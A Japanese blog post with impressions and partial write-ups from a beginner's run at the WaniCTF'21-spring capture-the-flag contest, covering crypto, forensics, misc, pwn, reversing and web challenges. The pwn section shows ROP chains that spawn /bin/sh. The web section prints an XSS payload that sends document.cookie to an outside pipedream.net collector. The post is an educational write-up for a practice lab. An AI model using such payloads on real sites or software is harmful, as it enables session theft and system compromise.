各所でpal4deと名乗っているものです。
2021/4/30 - 5/1に開催された、大阪大学のCTFサークル「Wani Hackase」主催の初心者向けCTF、**WaniCTF'21-spring**に、CTFほぼ初参戦というつもりで臨みました。
その上Qiitaも初投稿という事態
writeupというよりかは感想になってます。
こんなんでいいのか?
最終結果
4197pt、400人ぐらい中の44位でした。
3日間割とまんべんなく解いたり調べものしてたりしてました。
初めましての人ばかりだったので。。。
Crypto
大学で暗号的な雰囲気に曝されていたおかげで解けた部分もある。
Simple conversion
整数化された文字列を復元する問題。
16進数の文字列に直してからバイト列にしてます。
もっといい書き方教えてください。
problem = 709088550902439876921359662969011490817828244100611994507393920171782905026859712405088781429996152122943882490614543229
problem_bytes = bytes.fromhex(f'{problem:x}')
print(problem_bytes.decode('utf-8'))
easy
隠されたパラメータA, Bを用いてe = (A * p + B) % 26という形でズラして暗号化されているので復号する問題。
あんまeasyではなかった。
FLAGとHLIMのascii位置を手計算で比較してA, Bを求める。
あとはこのパラメータをもとに復号する。
(crypted - B) / A = plain mod 26という感じ。
encrypted = r'HLIM{OCLSAQCZASPYFZASRILLCVMC}'
encrypted_byte = bytearray()
A = 5
A_inv = 21
B = 8
for c in encrypted:
if 'A' <= c <= 'Z':
c = ord(c) - ord('A')
c = ((c - B) * A_inv) % 26
c = chr(c + ord('A'))
print(c, end='')
Can't restore the flag?
ユーザー入力nに対してFLAG % nを教えてくれるので、そこからFLAGを手に入れる問題。
1-300まで返事をしてくれるそうなのでとりあえず全部保存する。
手計算をしてようやくX % n = rを満たす数はlcm(1..n) * i + bで表せそうであるとわかった。
ここでbはn-1についての条件を満たす中の、b % n = rとなる最小の数。
これを300までやって出たbがFLAG。
import math
import pathlib
with open(pathlib.Path(__file__).parent / 'response.txt', 'r') as file:
a, b = 1, 0
for n, r_str in enumerate(file.readlines(), 1):
r = int(r_str)
i = 0
while (a * i + b) % n != r:
i += 1
b = a * i + b
a = math.lcm(a, n)
print(bytes.fromhex(f'{b:x}'))
extra
RSA暗号の過程でN = pqとは別にM = 2p + qが与えられるので、これをヒントに復号する問題。
暗号化に際してはMは余計なのでこれとNとをコネコネするんだろうなとは思った。
まさかただの2次方程式だったとは。。。。。
OUCS
準同型暗号「OUCS」で暗号化されたFLAGを解読する問題。
「準同型」を意味する英単語を知っておわった。
Forensics
経験の数がモノを言いそうな分野という印象があり、初めてながら苦手意識があった。
presentation
presentation.ppsxが与えられる。
サムネイルがPowerPointだったので、zipとして解凍して1枚目のスライドのxmlを探し出した。
MixedUSB
MixedUSB.imgが与えられる。
手元のいらないUSBを用意してみたりもしたが、試しに走らせてみたstrings MixedUSB.imgで終わってしまった。
secure document
flag_20210428.zipとpassword-generatorが与えられる。
password-generatorの中身がなんかAutoHotKeyっぽいなと思ったらビンゴ。
HotStringという機能が使われていたらしい。
日付部分をzipファイル自体の更新日時に変えて解凍。
たまたまAutoHotKeyユーザーだったからよかったけどMacだったら詰んでたかもな
illigal image
illegal_image.pcapが与えられ、そこから画像を抽出する問題。
pcapはWiresharkのファイルだった。
あまりに行が多く、遠慮した。
slow
slow.wavが与えられる。
Audacityなど色々音声をいじれそうなものを入れ、テンポをいじってみたりスペクトルを見てみたりしたが解けず。
なにもわからない。
Misc
唯一完全回答できた部門。
明らかに難易度が全部Normal以下だったおかげである。
そのほかの王、pal4deです
— pal4de (@pal4de) May 2, 2021
どうぞよろしくhttps://t.co/bSPSz3czJt#wanictf pic.twitter.com/WUxL3cKYRr
binary
二進数の値を文字列に戻す問題。
import os
with open(os.path.dirname(__file__) +'/binary.csv') as file:
encrypted = file.read().replace('\n', '')
encrypted_bytes = bytes.fromhex(f'{int(encrypted, 2):x}')
print(encrypted_bytes.decode('utf-8'))
Automaton Lab.
Rule 30というオートマトンの予測を行う問題。
Wikipediaをみて簡単に実装して2つ目まで突破。
3つ目は素直な実装では間に合わないが、15bitで収まりきらない数値だったためループしてるだろと当たりを付け、ループが始まる点を見つけて解決。
gen = list()
gen.append(input('first gen?: '))
target = int(input('taget gen?: '))
next_bit_dict = {
'111': '0',
'110': '0',
'101': '0',
'100': '1',
'011': '1',
'010': '1',
'001': '1',
'000': '0',
}
def nth_char(s, n):
return s[n % len(s)]
print(0, gen[0])
while len(gen) - 1 < target:
next_gen = ''
for i in range(len(gen[0])):
current_pattern = nth_char(gen[-1], i - 1)
current_pattern += nth_char(gen[-1], i)
current_pattern += nth_char(gen[-1], i + 1)
next_gen += next_bit_dict[current_pattern]
gen.append(next_gen)
print(len(gen) - 1, next_gen)
if next_gen in gen[:-1]:
offset = gen.index(next_gen)
stop = len(gen) - 1
print('matched!')
print(f'1st: {offset}')
print(f'2nd: {stop}')
target_reduced = (target - offset) % (stop - offset)
print('final:', gen[offset + target_reduced])
exit()
Git Master
コミットログからFLAGを探し出す問題。
/var/www/にリポジトリがある。
gitが無いのでインストールするところから。
FLAGっぽいファイルについてFLAG{you_、_master}みたいなのが出てきて、アンダースコア、ダブってない??と思いながら送信してみたものの不正解。
master?ブランチのことか?と思ってブランチを見てみるとtemporaryブランチが出てきた。
you_と_masterの間にも一つコミットがあったので解決。
結果オーライ。
ASK
ASK (Amplitude Shift Keying) を復号する問題。
下のManchesterと同じように周期を取ってその分だけ0と1を交互に繰り返し。
うまいことデコードできてないかもしれないけどいいや
import os
import itertools
with open(os.path.dirname(__file__) +'/ask.csv') as file:
encoded = file.read().replace('\n', '')
encoded_grouped = itertools.groupby(encoded)
length_list = [len(list(values)) for _, values in encoded_grouped]
period = min(length_list)
print(length_list)
decoded_bin = ''
bit = int(encoded[0])
for length in length_list:
if length <= period * 8:
decoded_bin += str(bit) * (length // period)
bit = 1 - bit
decoded_bytes = bytes.fromhex(f'{int(decoded_bin, 2):x}')
print(decoded_bytes)
Manchester
マンチェスター符号を復号する問題。
前問同様、0とか1が連続しすぎているので長さを測って周期を得る。
1→01なのか0→01なのかわからなかったので両方試し、出力させてそれっぽいのが出てきたものを採用。
FLAGより前にある長ーいデータは何だったんだろう
import os
import itertools
with open(os.path.dirname(__file__) +'/manchester.csv') as file:
encoded = file.read().replace('\n', '')
encoded_grouped = itertools.groupby(encoded)
period = float('inf')
for _, group in encoded_grouped:
period = min(period, len(list(group)))
encoded_reduced = encoded[::period]
encoded_reduced_pairs = zip(encoded_reduced[::2], encoded_reduced[1::2])
decoded = ''
for first, second in encoded_reduced_pairs:
pattern = first + second
if pattern == '01':
decoded += '0'
elif pattern == '10':
decoded += '1'
print(bytes.fromhex(f'{int(decoded, 2):x}'))
Pwn
もっとも縁遠い部門だったかもしれない。
相当簡単に作ってもらえたんだろうなという印象を受ける。
解いていくうちにメモリ脆弱性を突いていく気持ちよさがわかり始める。
メモリ脆弱性を突くの、気持ちいい。
01 netcat
ncコマンドを使ってみる問題。
cat
03 rop machine easy
system("/bin/sh")を呼ぶ問題。
この時点ではよくわかっていない。
色々調べた結果、よくわからないうちに解けてしまった。
rop_arena
+--------------------+
| pop rdi; ret | <- rop start
+--------------------+
| 0x0000000000404070 | "/bin/sh"へのアドレス
+--------------------+
| system |
+--------------------+
04 rop machine normal
ROPでexecve("/bin/sh", 0, 0)を呼ぶ問題。
よくわからん 2
-
rdiが第一引数 -
rsiが第二引数 -
rdxが第三引数 -
raxがsyscall番号
に対応しているらしい。
ターゲットのレジスタをpopした直後に値を配置することで代入していけるのかなあ、程度の理解。
rop_arena
+--------------------+
| pop rdi; ret | <- rop start
+--------------------+
| 0x0000000000404070 | "/bin/sh"へのアドレス
+--------------------+
| pop rsi; ret |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rdx; ret |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rax; ret |
+--------------------+
| 0x000000000000003b |
+--------------------+
| syscall; ret |
+--------------------+
02 free hook
脆弱性のあるメモアプリを用いてシェルを起動する問題。
free_hookを使おうとのヒントがある。
free()時に呼び出される関数へのポインタとして__free_hookがあり、今回は既にこれがsystemを指しているので引数に"/bin/sh"が来るようにしたら良いっぽい。
- n番目のメモに
/bin/shを書き込む。 - n番目のメモを削除する。
-
free("/bin/sh")=system("/bin/sh")となりhappy
05 rop machine hard
ROPで/bin/shを呼ぶ問題。
一部のgadgetが選択肢として与えられていた今までとは異なり、自分でアドレスを調べてくる必要があるが、流れは基本的に04 rop machine normalと同じ。
ROPgadgetというツールでpop rdi ; retなどへのアドレスを調べて並べていく。
pop rsi ; pop r15 ; retでは2つpopしているので2回0x0を入れてみた。
"/bin/sh"へのアドレスはgdb pwn05してprint &binshすることで手に入る。
rop_arena
+--------------------+
| 0x000000000040128f | pop rdi ; ret
+--------------------+
| 0x0000000000404078 | "/bin/sh"
+--------------------+
| 0x0000000000401611 | pop rsi ; pop r15 ; ret
+--------------------+
| 0x0000000000000000 | 0x0
+--------------------+
| 0x0000000000000000 | 0x0
+--------------------+
| 0x000000000040129c | pop rdx ; ret
+--------------------+
| 0x0000000000000000 | 0x0
+--------------------+
| 0x00000000004012a9 | pop rax ; ret
+--------------------+
| 0x000000000000003b | 0x3b
+--------------------+
| 0x00000000004012b6 | syscall
+--------------------+
06 SuperROP
案外今までのROPも突破できて楽しくなってきたので挑戦してみたものの、だいすきだったROPmachineがいなくなり急に詰む。
07 Tower of Hanoi
ハノイの塔を解く問題?
解けていない。
Very hardと書いてある赤いラベルがあったので問題文はあまり気にしていない
08 Gacha Breaker
悪徳ガチャサービスベンダーからFLAGを盗む問題?
解けていない。
問題文はあまり気にしていない
Reversing
VSCodeのデバッガーは使ったことあったものの、コマンドラインのgdbは初めてだったので勉強になった。Ghidraが便利というのも実感。
テックニュースでたまに見るリバースエンジニアリングを体感しているようで面白かった。
secret
stringsでsecretを見てみたら、wani_is_the_coolest_animals_in_the_world!とそれっぽいのがあったので、それがsecret keyなんだろうな...と。
$ chmod u+x ./secret
$ ./secret
▄▀▀▀▀▄ ▄▀▀█▄▄▄▄ ▄▀▄▄▄▄ ▄▀▀▄▀▀▀▄ ▄▀▀█▄▄▄▄ ▄▀▀▀█▀▀▄
█ █ ▐ ▐ ▄▀ ▐ █ █ ▌ █ █ █ ▐ ▄▀ ▐ █ █ ▐
▀▄ █▄▄▄▄▄ ▐ █ ▐ █▀▀█▀ █▄▄▄▄▄ ▐ █
▀▄ █ █ ▌ █ ▄▀ █ █ ▌ █
█▀▀▀ ▄▀▄▄▄▄ ▄▀▄▄▄▄▀ █ █ ▄▀▄▄▄▄ ▄▀
▐ █ ▐ █ ▐ ▐ ▐ █ ▐ █
▐ ▐ ▐ ▐
Input secret key : wani_is_the_coolest_animals_in_the_world!
Correct! Flag is FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}
execute
cのソースコードを紛失しmain.sとlibprint.soのみがある、という状態からプログラムを実行する問題。
ムチャクチャ苦労した
- .sファイルとは何か?
- アセンブリ言語だ
-
asコマンドでアセンブルできるらしい -
libprint.soをリンクしないといけない - gccでリンク?
- おまじない(
LD_LIBRARY_PATH=.)を付与して実行
as main.s -o main.o
gcc -o main main.o -I./ -L./ -lprint
LD_LIBRARY_PATH=. ./main
timer
非常に長いカウントダウンを行うプログラムからFLAGを得る問題。
Ghidraでプログラム解析結果を見ながら、gdbで変数を書き換えられないか頑張る。
結果的には変数を書き換える必要はなかった。timerに入ったら直ちに帰ればよい。
> gdb timer
(gdb) break timer
:
(gdb) run
:
(gdb) return (int) 0
:
(gdb) continue
licence
非常に強力なライセンス確認処理が施されたプログラムのためにライセンスファイルを探す問題。
解けていない。
非常に強力な
のフレーズを見てあきらめた。
Web
ソフトウェア開発を始めたキッカケがWebだったので自信をもって取り組んだものの、パッとしない結果となった。
fake
ウェブサイトからFLAGを探す問題。
ソースコードを見たらdisplay: noneされている要素があったので解決。
Wani Request 1
被害者の秘密のページを探す問題。
- pipedream作る。
- 発行されたURLを送る。
- steps.nodejs > code > steps.nodejs.$return_value > body > headers > refferer にawsのURLがあったのでアクセス。
exception
ウェブアプリの脆弱性を探す問題。
サーバー側のコードを見て、文字列に結合しようとしていることから送られたデータに配列などが来たらダメそうだと察する。
送信ボタンのイベントハンドラを見て直接[]を放り込みfetch、開発者ツールのNetworkから返答内容を見てゲット。
Wani Request 2
2通りのXSSからFLAGを集める。
page1
パラメータがそのままDOMに取り込まれるタイプのXSS。
<img src="hoge" onerror="fetch(`https://ena68y8fy8vnrfs.m.pipedream.net/?cookie=${document.cookie}`)">など。
scriptタグはVue的なものにはじかれてしまうのか、うまくいかなかった。
page2
URLを踏むことで発動するタイプのXSS。
page1のを活用しちゃお~と、/page1?wani=<img src="hoge" onerror="fetch(`https://ena68y8fy8vnrfs.m.pipedream.net/?cookie=${document.cookie}`)">を試してみるが、うまくいかない。
document.cookieが読みだせないのか、クエリが空になっている。
HttpOnly属性というのがあるらしい。これがあやしい?
関係なかったです。勘弁してください。
TRACEメソッドもうまくいかなかった。
watch animal
ターゲットユーザーのパスワードがFLAGになっているのでそれを探す問題。
コンテナを立ち上げて、慣れないSQLコマンドを駆使してパスワードを掘り起こしたらFAKEをつかまされてしまったし、そもそも1_InitUsers.sqlに直接書いてある。
PHPを読んでみたりしたが、よくわからず。
CloudFront Basic Auth
AWS Cloudformation template で構成できるウェブアプリにはBasic認証が導入されているらしい。
ながーいyamlを一通り見てあきらめた。
相当適当に書いていますが、楽しんでいただければ幸いです。
知らないことだらけでムチャクチャ楽しかったので、ビビらず挑戦してみよう
以上
